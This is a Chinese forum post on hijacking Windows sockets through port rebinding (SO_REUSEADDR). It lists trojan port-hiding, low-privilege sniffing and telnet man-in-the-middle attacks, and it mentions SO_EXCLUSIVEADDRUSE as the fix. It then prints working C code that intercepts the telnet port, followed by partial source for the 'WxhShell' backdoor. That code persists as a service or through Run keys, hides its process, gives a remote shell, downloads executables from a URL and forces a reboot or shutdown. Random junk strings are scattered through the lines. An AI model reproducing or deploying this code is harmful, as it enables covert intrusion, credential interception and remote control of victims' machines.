社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10077阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b2,!g }I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fv74bC %  
h[o6-f<D  
  saddr.sin_family = AF_INET; zZ=pP5y8  
#P<N^[m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hnk:K9u.B:  
"ZwKk G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,<-G<${  
S35~Cp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6eFp8bANN#  
7 aV%=_  
  这意味着什么?意味着可以进行如下的攻击: ;&V s4  
>J9oH=S6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }%7 NF*  
vS\Nd1~?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SAY LG  
ZJPmR/OV_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HpZ1xT  
ziPR>iz-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ",6M)3{|c  
#>lG7Ns|4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 br-]fE.be  
AN!s{7V3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ae]sGU|?'  
oVFnl A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;oZ)Wt  
%D$]VSP;  
  #include 0:w"M<80  
  #include eET&pP3Rp  
  #include vM:cWat  
  #include    a=cvCf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BTgG4F/)  
  int main() jTO), v:w  
  { @,Gxk   
  WORD wVersionRequested; hj'(*ND7z  
  DWORD ret; CI353-`  
  WSADATA wsaData; 2 3OC2|  
  BOOL val; 0}!\$"|D  
  SOCKADDR_IN saddr; ~t9tnLc$  
  SOCKADDR_IN scaddr; 8>hwK)av  
  int err; }\J2?Et{  
  SOCKET s; {9UEq0  
  SOCKET sc; ry9T U  
  int caddsize; >B]'fUt5a  
  HANDLE mt; 1`ayc|9BR  
  DWORD tid;   q$I:`&  
  wVersionRequested = MAKEWORD( 2, 2 ); WSuww  
  err = WSAStartup( wVersionRequested, &wsaData ); !;?+>R)h  
  if ( err != 0 ) { %_!bRo  
  printf("error!WSAStartup failed!\n"); R2Zgx\VV'  
  return -1; MxT-1&XL  
  } S<'[%ihx  
  saddr.sin_family = AF_INET; F~ h7{@\  
   .o) `m9/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .L'.c/ s  
yw];P o,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AGLscf.  
  saddr.sin_port = htons(23); wgCa58H76  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KQB3 m"  
  { 89r DyRJ;  
  printf("error!socket failed!\n"); dFKM 8_jH  
  return -1; ^0/j0]O  
  } g+J-Zg6  
  val = TRUE; 5[c^TJ3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 feQ **wI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w!fE;H8w6  
  { |PC*=ykT3  
  printf("error!setsockopt failed!\n"); j~!X;PV3  
  return -1; %Dwk  
  } w.[ "p9tc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YW7b)u Yf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >0"+4<72  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^]TVo\,N  
/`mks1:pK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <J^MCqp!v  
  { %i5M77#Z  
  ret=GetLastError(); \otWd  
  printf("error!bind failed!\n");  4^M  
  return -1; gLOEh6  
  } AvfNwE  
  listen(s,2); y&V@^ "`  
  while(1) 9I4K}R  
  { rx]  @A  
  caddsize = sizeof(scaddr); ax(c#  
  //接受连接请求 ? #fu.YE\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E{|W(z,  
  if(sc!=INVALID_SOCKET) R6]Gk)5  
  { "1%5,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EM[WK+9>I{  
  if(mt==NULL) +F^^c2E  
  { \--8lH -K  
  printf("Thread Creat Failed!\n"); `\}v#2VJ  
  break; lhqg$lb  
  } H!$o$}A  
  } #w' kV#  
  CloseHandle(mt); [Al&  
  } INJEsz  
  closesocket(s); cLLbZ=`  
  WSACleanup(); iv4H#rJ  
  return 0; !wNr3LG  
  }   2.l:O2<  
  DWORD WINAPI ClientThread(LPVOID lpParam) tNbN7yI  
  { d8c=L8~jt  
  SOCKET ss = (SOCKET)lpParam; R^Y <RI  
  SOCKET sc; |&zz,+E  
  unsigned char buf[4096]; s+<Yg$)  
  SOCKADDR_IN saddr; i%0ur}p  
  long num; :51/29}  
  DWORD val; g\&g N  
  DWORD ret; K1M%!JKh)x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TA4!$7b$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2Eu`u!jhx  
  saddr.sin_family = AF_INET; uC(V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %-1O.Q|f  
  saddr.sin_port = htons(23); Y2~nBb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .oeX"6K  
  { oU.R2\Q  
  printf("error!socket failed!\n"); zd >t-?g  
  return -1; l4uMG]m  
  } (2$p{Uf  
  val = 100; HK2[]G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q o{/@  
  { M 0U 0;QJ  
  ret = GetLastError(); ZzJ?L4J5v  
  return -1; +l<5#pazx  
  } V<T9&8l+:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <h:x=  
  { 6\q]rfQ  
  ret = GetLastError(); rE.;g^4p  
  return -1; RwpdRBb  
  } huh6t !  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b?tB(if!I  
  { P*3BB>FO   
  printf("error!socket connect failed!\n"); `xqr{lhL  
  closesocket(sc); >JFO@O5  
  closesocket(ss); #."-#"0  
  return -1; CTq&-l:f  
  } Nh_Mz;ITuu  
  while(1) ?kbiMs1;u  
  { c7x~{V8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4R1<nZ"e~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j i7[nY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N_W}*2(  
  num = recv(ss,buf,4096,0); CVL3VT1j0  
  if(num>0) T[UN@^DP(  
  send(sc,buf,num,0); -"' j7t:  
  else if(num==0) F%@aB<Nu  
  break; BBwy,\o#  
  num = recv(sc,buf,4096,0); ,9zjFI  
  if(num>0) 128EPK  
  send(ss,buf,num,0); i:Y^{\Z?V  
  else if(num==0) ) l:[^$=,  
  break; iJ1"at  
  } 3TeY%5iVt  
  closesocket(ss); 4;yKOQD|  
  closesocket(sc); e> e}vZlX  
  return 0 ; @#T|Y&  
  } $_"'&zQ'  
R;uvkg[o  
FKDk+ojw  
========================================================== FWrX3i  
hKL4cpK4  
下边附上一个代码,,WXhSHELL f!Y?S  
5YE'L.  
========================================================== Jh,]r?Bd  
R3gdLa.  
#include "stdafx.h" Ezc?#<+7  
Hq:X{)"  
#include <stdio.h> qr"3y  
#include <string.h> D#cyOrzy  
#include <windows.h> RzE_K'M  
#include <winsock2.h> saBVgSd  
#include <winsvc.h> ~ =M7 3U#  
#include <urlmon.h> +hg3I8q:  
fg_4zUGM+g  
#pragma comment (lib, "Ws2_32.lib") .,<1%-R34q  
#pragma comment (lib, "urlmon.lib") qkDI](4  
^c"jH'#.L  
#define MAX_USER   100 // 最大客户端连接数 '3 /4?wi  
#define BUF_SOCK   200 // sock buffer O_oPh] x)  
#define KEY_BUFF   255 // 输入 buffer "l3_=Gua  
H1|?t+oP  
#define REBOOT     0   // 重启 N{9v1`B  
#define SHUTDOWN   1   // 关机 gc_:%ki  
Gp?a(-K5  
#define DEF_PORT   5000 // 监听端口 [B\h$IcRv  
xHv ZV<#  
#define REG_LEN     16   // 注册表键长度 B+P(M!m3  
#define SVC_LEN     80   // NT服务名长度 4gI/!,J(b  
jS]ru-5.  
// 从dll定义API p& y<I6a,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AYqX |  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ey7 f9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +h|`/ &,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _{I3i:f9X8  
+"\sc;6m.  
// wxhshell配置信息 P+@/O  
struct WSCFG { 0L2F[TN  
  int ws_port;         // 监听端口 DR5\45v  
  char ws_passstr[REG_LEN]; // 口令 36}?dRw#p  
  int ws_autoins;       // 安装标记, 1=yes 0=no o4G?nvK-  
  char ws_regname[REG_LEN]; // 注册表键名 X`kk]8 =  
  char ws_svcname[REG_LEN]; // 服务名 lA| 5E?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oK6tTK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (-UYB9s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [+2[`K c]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KKj a/p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SoW9p^HJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [M]  
HJ=:8:  
}; !![DJ  
X9v.1s,  
// default Wxhshell configuration w1EXh  
struct WSCFG wscfg={DEF_PORT, -; s|  
    "xuhuanlingzhe", xI#9  
    1, !#], hok8X  
    "Wxhshell", oR)Jznmi}  
    "Wxhshell", ;#g"(  
            "WxhShell Service", U6glp@s  
    "Wrsky Windows CmdShell Service", kyR:[+je  
    "Please Input Your Password: ", uw>Ba %5  
  1, PS)4 I&;U  
  "http://www.wrsky.com/wxhshell.exe", pnl{&<$C%C  
  "Wxhshell.exe" jwc)Lj}  
    }; E:UW#S%A f  
[A+ >^ {  
// 消息定义模块 orzZ{87  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >,V9H$n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x|/|jzJSX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?A K(|  
char *msg_ws_ext="\n\rExit."; =MQoC:l  
char *msg_ws_end="\n\rQuit."; a#cCpE  
char *msg_ws_boot="\n\rReboot..."; %P;lv*v.  
char *msg_ws_poff="\n\rShutdown..."; 7Haa;2 T'  
char *msg_ws_down="\n\rSave to "; F&4rO\aC"/  
>:74%D0UF  
char *msg_ws_err="\n\rErr!"; [owWiN4`s  
char *msg_ws_ok="\n\rOK!"; Ci@o|Y }tP  
jD$,.AVvz  
char ExeFile[MAX_PATH]; "@e3EX7h  
int nUser = 0; =_.l8IYX$%  
HANDLE handles[MAX_USER]; {fPy=,>Nb  
int OsIsNt; f(>p=%=O  
@E&J_un  
SERVICE_STATUS       serviceStatus; NW~N}5T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >!eAM )  
,`'Qi%O  
// 函数声明 wcrCEX=I>{  
int Install(void); *RI]?j%B  
int Uninstall(void); tqz3zIQ  
int DownloadFile(char *sURL, SOCKET wsh); 8 }I$'x  
int Boot(int flag); Z)I+@2  
void HideProc(void); h9t$Uz^N  
int GetOsVer(void); Lu?C-$a C  
int Wxhshell(SOCKET wsl); lUOF4U&r  
void TalkWithClient(void *cs); m( r,Acy6  
int CmdShell(SOCKET sock); E-T)*`e  
int StartFromService(void); KoOz#,()  
int StartWxhshell(LPSTR lpCmdLine); )X1{  
ef 8s<5"4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XQY#716)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,82S=N5V!  
Eq%}  
// 数据结构和表定义 ]i|h(>QWP  
SERVICE_TABLE_ENTRY DispatchTable[] = AFq~QXmr)  
{ &y\prip  
{wscfg.ws_svcname, NTServiceMain}, U\g/2dM  
{NULL, NULL} tIWmp30S  
}; xs{3pkTYD  
]N~2 .h  
// 自我安装 )1]ZtU  
int Install(void) GA$V0YQX  
{ `LrHKb aP  
  char svExeFile[MAX_PATH]; bBiE  
  HKEY key; P}Gj %4/G  
  strcpy(svExeFile,ExeFile); M,j U}yD3  
%:M ^4~dc  
// 如果是win9x系统,修改注册表设为自启动 ${<%" hR$  
if(!OsIsNt) { W =D4r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 216RiSr*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TJ2=m 9Z  
  RegCloseKey(key); {0[tNth'h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >BV^H.SO|1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S 8kCp;  
  RegCloseKey(key); bHY=x}Hv  
  return 0; }fp-pe69z  
    } +KF^Z$I  
  } Q7HRzA^-  
} T.])diuvj-  
else { 6Pz4\uE=  
'K$[^V  
// 如果是NT以上系统,安装为系统服务 R"-mKT}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^PDJ0k/u1  
if (schSCManager!=0) |J1$= s  
{ $[Sc0dzJ  
  SC_HANDLE schService = CreateService +cJL7=V&  
  ( 8+~ >E  
  schSCManager, E~DQ-z  
  wscfg.ws_svcname, uu-PJTNZ  
  wscfg.ws_svcdisp, -"R2  
  SERVICE_ALL_ACCESS, #Vnkvvv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kDEXN  
  SERVICE_AUTO_START, .u)X3..J  
  SERVICE_ERROR_NORMAL, iJ ($YvF4  
  svExeFile, Y[ j6u\y  
  NULL, f&=AA@jLv  
  NULL, XPavReGf  
  NULL, h&M{]E9=  
  NULL, \S"isz  
  NULL .r|tSfm6  
  ); j%Y#(Q>  
  if (schService!=0) =Z{O<xw'  
  { )\1@V+!E%  
  CloseServiceHandle(schService); '50OgF'  
  CloseServiceHandle(schSCManager); ]Oe2JfJwx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r7RIRg_  
  strcat(svExeFile,wscfg.ws_svcname); R8Wr^s>'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N+9VYH"*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )~GmU9f  
  RegCloseKey(key); #%pI(,o=  
  return 0; sv2A-Dld  
    } e|g5=2(Pr&  
  } IDad9 Bx  
  CloseServiceHandle(schSCManager); ] vz%iv_  
} a1g,@0s  
} sSr&:BOsi  
$| zX|  
return 1; Z|&MKG24  
} pf]xqhL  
]l;o}+`G  
// 自我卸载 9)D6Nm  
int Uninstall(void) ]RwpX ^ 1  
{ ,bZL C  
  HKEY key; ,dv+p&Tz2  
-{KQr1{5UM  
if(!OsIsNt) { [xbSYu,&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {yBs7[Wn  
  RegDeleteValue(key,wscfg.ws_regname); 1m'k|Ka  
  RegCloseKey(key); O n8v//=&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "x#-sZ=  
  RegDeleteValue(key,wscfg.ws_regname); >>QY'1Eu  
  RegCloseKey(key); T tfo^ksw  
  return 0; @T@< _ ?)  
  } v>6"j1Z  
} ~Sdb_EZ  
} 0B[="rTS7#  
else { v|Pv 03%?7  
9d>-MX'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]N/=Dd+|  
if (schSCManager!=0) -5)H<dAQZ  
{ %{7|1>8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PoHg,n]  
  if (schService!=0) :>rkG?NfL  
  { hM_lsc  
  if(DeleteService(schService)!=0) { 0$(WlP |  
  CloseServiceHandle(schService); \/93Dz  
  CloseServiceHandle(schSCManager); kF3k7,.8&  
  return 0; kc2 PoJ  
  } Lt2u,9  
  CloseServiceHandle(schService); 2\R'@L*  
  } _1!7V3|^  
  CloseServiceHandle(schSCManager); xn?a. 3b'  
} m1j*mtu  
} QpF;:YX^3  
vXev$x=w-  
return 1; DMs,y{v  
} H(H<z,$}T  
Oylf<&knF\  
// 从指定url下载文件 M#ZcY  
int DownloadFile(char *sURL, SOCKET wsh) #9=Vg  
{ hl;u'_AB  
  HRESULT hr; E}%B;"b/Tj  
char seps[]= "/"; {Je[ZQ$  
char *token; ?)/#+[xa  
char *file; W=ig.-  
char myURL[MAX_PATH]; O8f?; ]  
char myFILE[MAX_PATH]; m\;R2"H%  
M+-*QyCFK  
strcpy(myURL,sURL); &C:IX\  
  token=strtok(myURL,seps); QfmJn((  
  while(token!=NULL) ZVW'>M7.  
  { @MoKWfc  
    file=token; SbcS]H5Sk  
  token=strtok(NULL,seps); .[YuRLGz  
  } ]GUvV&6@(  
 ''|W9!  
GetCurrentDirectory(MAX_PATH,myFILE); f<GhkDPm>?  
strcat(myFILE, "\\"); Y h7rU?Gj  
strcat(myFILE, file); |O3q@  
  send(wsh,myFILE,strlen(myFILE),0); []D&bYpv  
send(wsh,"...",3,0); t1]K<>g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); md+nj{Ib  
  if(hr==S_OK) =-tw5], L  
return 0; zlyS}x@p  
else 3Nl <p"=  
return 1; p$O.> [  
3N 8t`N  
} zh%#Y_[R  
PoNi "Pv  
// 系统电源模块 9q)Kfz  
int Boot(int flag) N>Xo_-QCY  
{ \TIT:1  
  HANDLE hToken; qjwxhabc  
  TOKEN_PRIVILEGES tkp; /{Is0+)  
ag;Q F  
  if(OsIsNt) { qjc8fP2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nv$ R\'3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 85>05 ?  
    tkp.PrivilegeCount = 1; rUTcpGH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w!#tTyk`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 02Y]`CXj  
if(flag==REBOOT) { 9y6-/H ,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,y1PbA0m  
  return 0; # q~e^A b  
} PYiU_  
else { )S3\,S-.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eP.wOl  
  return 0; w2Us!<x  
} >f^r^P  
  } Y1L[;)Hn  
  else { dA#Q}.*r  
if(flag==REBOOT) { Q_1:tW &  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s:?SF.  
  return 0; +ndaLhj'  
} a Ve'ry  
else { N1Ng^aY0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?U%QG5/>  
  return 0; LU \i0|i|  
} #r$cyV!k  
} dW)B1iUo!  
2$9odD<r  
return 1; -] LY,M  
} 9 eR-  
=MSr/O2  
// win9x进程隐藏模块 z-BXd  
void HideProc(void) \j+1V1t9  
{ iMAfJ-oN  
|<HPn4 ,X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wYd b*"R  
  if ( hKernel != NULL ) :uP,f<=)K  
  { [O$Wa:< 0x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VdPtPq1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?OId\'q  
    FreeLibrary(hKernel); \?w2a$?6w  
  } !6n_}I-W  
l#m#c6;=  
return; vV6<^ W:9F  
} Sw:7pByjI  
&[_g6OL  
// 获取操作系统版本 H[{F'c[e  
int GetOsVer(void) E8!e:l =Q  
{ d.3E[AJa(  
  OSVERSIONINFO winfo; eS{!)j_^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k\wW##=v  
  GetVersionEx(&winfo); "76 ]u)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bG7O  
  return 1; cq5jPZ}  
  else 1G"z<v B  
  return 0; ;}7Rjl#  
} E08 klC0  
gGvz(R: y  
// 客户端句柄模块 c*(bO3 b  
int Wxhshell(SOCKET wsl) J\/cCW-rF  
{ H]P. x!I  
  SOCKET wsh; J cPtwa;q@  
  struct sockaddr_in client; _7<FOOM%8y  
  DWORD myID; J{'>uD.@  
.nB0 h  
  while(nUser<MAX_USER) 83E7k]7]  
{ RtGWG*v4]  
  int nSize=sizeof(client); u0 P|0\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~F7 -HaQJ  
  if(wsh==INVALID_SOCKET) return 1; uYn_? G  
zxJ]" N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TBs|r#  
if(handles[nUser]==0) 3Iua*#<m,  
  closesocket(wsh); :a^t3s  
else <_h~w}  
  nUser++; _+p4Wvu~0  
  } 4h~iPn'Wl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j:<n+:H C  
*Y,x|F  
  return 0; U(a#@K !H  
} .+qQYDE w  
1jCLO}  
// 关闭 socket `lQ3C{}  
void CloseIt(SOCKET wsh) $Oq^jUJ  
{ S-Wzour,  
closesocket(wsh); %kv0We fs  
nUser--; R,gR;Aarw  
ExitThread(0); \Npxv  
} mIurA?&7!  
^]7}YF2|  
// 客户端请求句柄 AZ0;3<FfLp  
void TalkWithClient(void *cs) H+1-]'g`  
{ ,X#2\r<|  
9G9fDG#F\I  
  SOCKET wsh=(SOCKET)cs; "k/;[ Wt]  
  char pwd[SVC_LEN]; w0ht  
  char cmd[KEY_BUFF]; K$>%e36Cc  
char chr[1]; ->sm+H-*  
int i,j; {F3xJ[  
Lilr0|U+  
  while (nUser < MAX_USER) { l%[EXZ  
?6yjy<D)$e  
if(wscfg.ws_passstr) { z,Medw6[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Gk ILFN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? K ;dp  
  //ZeroMemory(pwd,KEY_BUFF); sA/pVU  
      i=0; %oq{L]C(rf  
  while(i<SVC_LEN) { +Fuqch jq  
1|RANy  
  // 设置超时 =5Q]m6-SgV  
  fd_set FdRead; 2-7IJ\  
  struct timeval TimeOut; yGWxpzmRS  
  FD_ZERO(&FdRead); bW$J~ynM  
  FD_SET(wsh,&FdRead); 6,)[+Bl  
  TimeOut.tv_sec=8; j2ve^F:Q  
  TimeOut.tv_usec=0; ~T9/#-e>BF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QFw  +cy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * vflscgt  
_I:~@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e^d0zl{  
  pwd=chr[0]; Ai:BEPKe  
  if(chr[0]==0xd || chr[0]==0xa) { &Nj3h(Ll  
  pwd=0; @HQ`~C#Z'  
  break; )#P; x "  
  } 1>*#%R?W  
  i++; L0* nm.1X  
    } u\ #"L  
a&tSj35*6  
  // 如果是非法用户,关闭 socket ]4~lYuI4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Y.vJz  
} V@Rrn <l  
E^QlJ8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #OIcLEn%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t\Nq R  
?kWC}k{  
while(1) { |?rNy=P,  
21 O'M  
  ZeroMemory(cmd,KEY_BUFF); .P;*Dws  
.uuO>:  
      // 自动支持客户端 telnet标准   /s?r`'j[  
  j=0; %`OJ.:k  
  while(j<KEY_BUFF) { o}W%I/s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  `dFq:8v  
  cmd[j]=chr[0]; E5)b  
  if(chr[0]==0xa || chr[0]==0xd) { [pl'|B  
  cmd[j]=0; PK;*u,V  
  break; [<-  
  } f47Od-\-  
  j++; <0H"|:W>I]  
    } ]DOX?qI i  
mX\T D0$d  
  // 下载文件 n1~o1  
  if(strstr(cmd,"http://")) { xgpi-l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9^,Lc1"M>  
  if(DownloadFile(cmd,wsh)) x97 j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$IX5:E#e  
  else bLe <G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,8:(OB|a  
  } _z'u pb&  
  else { i 7_ _  
/e7O$L)   
    switch(cmd[0]) { ^.#jF#u~  
  P/c&@_b  
  // 帮助 fIj|4a+  
  case '?': { nN*w~f"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  {k>Ca  
    break; PE~G=1x3  
  } >H'4{|  
  // 安装 {7$c8i  
  case 'i': { $UgA0]q n  
    if(Install()) R#2t)y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MOsl_^c  
    else [21 =5S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|1i lP  
    break; w9NHk~LHKF  
    } ux_Mrh'  
  // 卸载 Yj)#k)x  
  case 'r': { 6b+b/>G0  
    if(Uninstall()) 7]9 a<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]<H&+ &!  
    else IqC]!H0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }D7I3]2>   
    break; b+@JY2dvj  
    } 0|$v-`P$  
  // 显示 wxhshell 所在路径 odPL {XFj  
  case 'p': { %K\?E98M  
    char svExeFile[MAX_PATH]; R(2tlZ  
    strcpy(svExeFile,"\n\r"); Cz 72?[6  
      strcat(svExeFile,ExeFile); +)j$|x~(A  
        send(wsh,svExeFile,strlen(svExeFile),0); c%&: 6QniZ  
    break; 30XR 82P/  
    } kBYNf =  
  // 重启 Hj:r[/  
  case 'b': { ;k7xMZs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L1i eaKw  
    if(Boot(REBOOT)) lmfi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3,= 0z  
    else { @r#v[I  
    closesocket(wsh); .Jt[(;  
    ExitThread(0); $/.zm; D  
    } et,f_fd7v  
